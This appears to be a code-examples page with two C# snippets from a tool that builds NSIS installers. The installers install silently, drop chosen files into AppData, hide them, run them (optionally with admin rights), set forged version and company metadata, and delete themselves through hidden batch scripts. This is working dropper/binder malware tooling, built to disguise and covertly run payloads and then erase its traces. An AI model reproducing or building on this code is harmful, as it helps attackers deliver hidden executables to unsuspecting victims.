예제 #1
0
        // https://www.itlnet.net/programming/program/nsis/makensis.htm

        /// <summary>
        /// Генератор скрипта для компиляции билд файла
        /// </summary>
        /// <param name="nsi">Данные скрипта</param>
        public static void Inizialize(NsiBuild nsi)
        {
            var script = new StringBuilder();

            script.AppendLine("Unicode True");                     // Правильно отображать все языки
            script.AppendLine("SilentInstall silent");             // Скрытый режим установки
            if (nsi.CheckAdmin.Checked)                            // Проверка установки для запуска от имени Администратора
            {
                script.AppendLine("RequestExecutionLevel admin");  // Запуск от Админ прав
            }
            if (nsi.CheckIcon.Checked)                             // Проверка установки иконки для билд файла
            {
                script.AppendLine($"Icon \"{nsi.IconPath}\"");     // Полный путь к иконки файла
            }
            script.AppendLine($"OutFile \"{nsi.BuildName}.exe\""); // Выходной файл сгенерированного билда
            script.AppendLine("SetCompressor /FINAL /SOLID lzma"); // Компрессия для билд файла
            script.AppendLine("SetDatablockOptimize ON");          // Оптимизация блоков
            script.AppendLine("");
            if (nsi.PropetiesBuild.Checked)                        // Проверка установки свойств для билд файла
            {
                script.AppendLine($"VIProductVersion \"{nsi.VIFileVersion}\"");
                script.AppendLine($"VIAddVersionKey ProductName \"{nsi.VIProductName}\"");
                script.AppendLine($"VIAddVersionKey ProductVersion {nsi.VIProductVersion}");
                script.AppendLine($"VIAddVersionKey FileVersion {nsi.VIFileVersion}");
                script.AppendLine($"VIAddVersionKey CompanyName \"{nsi.VICompanyName}\"");
                script.AppendLine($"VIAddVersionKey Comments \"{nsi.VIDescriptionName}\"");
                script.AppendLine($"VIAddVersionKey LegalCopyright \"{nsi.VICopyright}\"");
                script.AppendLine($"VIAddVersionKey FileDescription \"{nsi.VIFileDescription}\"");
                script.AppendLine($"VIAddVersionKey LegalTrademarks \"{nsi.VILegalTrademarks}\"");
                script.AppendLine($"VIAddVersionKey OriginalFilename \"{nsi.BuildName}.exe\"");
                script.AppendLine("");
            }
            if (nsi.SpisokFiles.Items.Count > 0)                                                                                              // Проверка файлов в списке ( на всякий случай )
            {
                for (int i = 0; i < nsi.SpisokFiles.Items.Count; i++)                                                                         // Перебираем все элементы в ListBox
                {
                    script.AppendLine($"Section \"file{i}\"");                                                                                // Секция для файла
                    script.AppendLine("SetOutPath \"$AppData\"");                                                                             // Установка выходного пути
                    script.AppendLine("SetOverwrite on");                                                                                     // Перезаписывать файл
                    script.AppendLine($"File \"{nsi.SpisokFiles.Items[i]}\"");                                                                // Имя файла
                    if (nsi.CheckIsHideFiles.Checked)                                                                                         // Проверка на установку скрытия файлов после распаковки
                    {
                        script.AppendLine($"SetFileAttributes \"$AppData\\{Path.GetFileName(nsi.SpisokFiles.Items[i].ToString())}\" hidden"); // Скрываем файл
                    }
                    if (nsi.CheckIsAdminRunFiles.Checked)
                    {
                        script.AppendLine($"ExecShell \"runas\" \"$AppData\\{Path.GetFileName(nsi.SpisokFiles.Items[i].ToString())}\""); // Запуск файл(ов)а в папке
                    }
                    else
                    {
                        script.AppendLine($"Exec \"$AppData\\{Path.GetFileName(nsi.SpisokFiles.Items[i].ToString())}\""); // Запуск файл(ов)а в папке
                    }
                    script.AppendLine("SectionEnd");                                                                      // Конец секции для записи
                    script.AppendLine("");
                }
            }
            if (nsi.CheckSuicide.Checked) // Проверка установки самоудаления билда
            {
                script.AppendLine("; Создаём скрипт для удаления билд файла");
                script.AppendLine("Section");                                            // Новая секция для записи
                script.AppendLine("FileOpen $0 \"selfdelete.bat\" w");                   // Имя нового файла
                script.AppendLine(@"FileWrite $0 '@echo off$\r$\n'");                    // Запись без показа сообщения вывода
                script.AppendLine(@"FileWrite $0 ':loop$\r$\n'");                        // Создаём цикл
                script.AppendLine($@"FileWrite $0 'del $EXEPATH$\r$\n'");                // Удаляем файл запуска приложения
                script.AppendLine($@"FileWrite $0 'if Exist $EXEPATH GOTO loop$\r$\n'"); // Проверяем файл в цикле
                script.AppendLine(@"FileWrite $0 'del %0$\r$\n'");                       // Удаляем .bat файл после использования
                script.AppendLine("FileClose $0");                                       // Освобождаем ресурс файла
                script.AppendLine("Pop $0");
                script.AppendLine("SectionEnd");                                         // Конец записи в секцию
                script.AppendLine("");

                script.AppendLine("; Создаём скрипт для проверки процесса и его завершения, затем запускаем скрипт для удаления билд файла");
                script.AppendLine("Section");                                         // Новая секция для записи
                script.AppendLine("FileOpen $0 \"helper.bat\" w");                    // Имя нового файла
                script.AppendLine(@"FileWrite $0 '@echo off$\r$\n'");                 // Запись без показа сообщения вывода
                script.AppendLine($@"FileWrite $0 'taskkill /f /im $EXEFILE$\r$\n'"); // Убиваем процесс билд файла
                script.AppendLine(@"FileWrite $0 'CALL selfdelete.bat$\r$\n'");       // Вызываем скрипт для удаления билд файла
                script.AppendLine(@"FileWrite $0 'del %0$\r$\n'");                    // Удаляем .bat файл после использования
                script.AppendLine("FileClose $0");                                    // Освобождаем ресурс файла
                script.AppendLine("Pop $0");
                script.AppendLine("SectionEnd");                                      // Конец записи в секцию
                script.AppendLine("");

                script.AppendLine("Function .onInstSuccess");                       // Установка функции по завершению всех действий с секциями
                script.AppendLine("nsExec::Exec \"$AppData\\helper.bat\" SW_HIDE"); // Запускаем .bat файл для выполнения всех действий с билд файлом.
                script.AppendLine("FunctionEnd");                                   // Конец функции
            }

            // Записываем все данные в файл с кодировкой UTF-8 ( чтобы избежать ошибок с кириллицей. )
            try
            {
                File.WriteAllText(Helpers.GlobalPath.ScriptPath, script?.ToString(), Encoding.UTF8);
            }
            catch { }
        }
예제 #2
0
        private void CreateBuild_Click(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);
            this.CountFiles.Focus();

            // Проверяем на пустую строку текстбокс с именем билд файла
            if (!string.IsNullOrWhiteSpace(this.FileNameTextBox.Text))
            {
                // Проверяем есть ли файлы для подгрузки
                if (this.ListFiles.Items.Count > 0)
                {
                    var script = new NsiBuild()
                    {
                        CheckIsHideFiles     = this.HideFilesBox,
                        PropetiesBuild       = this.PropetriesBox,
                        CheckIcon            = this.AddIcoBox,
                        VIProductName        = this.NameTextBox.Text,
                        VICompanyName        = this.CompanyTextBox.Text,
                        VIDescriptionName    = this.DescriptTextBox.Text,
                        VICopyright          = this.CopyrightTextBox.Text,
                        VIFileDescription    = this.FileDescriptTextBox.Text,
                        VIProductVersion     = this.VersionTextBox.Text,
                        VIFileVersion        = this.FileVerTextBox.Text,
                        VILegalTrademarks    = this.TradeMarkTextBox.Text,
                        BuildName            = this.FileNameTextBox.Text,
                        IconPath             = IconTextBox.Text,
                        CheckAdmin           = this.AdmRunBuildBox,
                        SpisokFiles          = this.ListFiles,
                        CheckSuicide         = this.SuicideBuildBox,
                        CheckIsAdminRunFiles = RunFileWithAdminBox
                    };

                    Task.Run(() => ScriptGen.Inizialize(script)).Wait();
                    Task.Run(() =>
                    {
                        if (File.Exists(GlobalPath.ScriptPath))
                        {
                            if (File.Exists(GetInstall.ConsoleNsis()))
                            {
                                ScriptRun.RunFile(GetInstall.ConsoleNsis(), GlobalPath.ScriptPath, StatusCompile);
                            }
                            else if (File.Exists(GlobalPath.CurrNsis))
                            {
                                ScriptRun.RunFile(GlobalPath.CurrNsis, GlobalPath.ScriptPath, StatusCompile);
                            }
                            try
                            {
                                File.Delete(GlobalPath.ScriptPath);
                            }
                            catch { }
                        }
                    }).Wait();
                }
                else
                {
                    this.StatusCompile.Location = new Point(43, 386);
                    ControlActive.CheckMessage(StatusCompile, "Добавьте файлы для компиляции", Color.YellowGreen, 5000);
                }
            }
            else
            {
                this.StatusCompile.Location = new Point(65, 386);
                ControlActive.CheckMessage(StatusCompile, "Введите имя билд файла", Color.YellowGreen, 5000);
            }
        }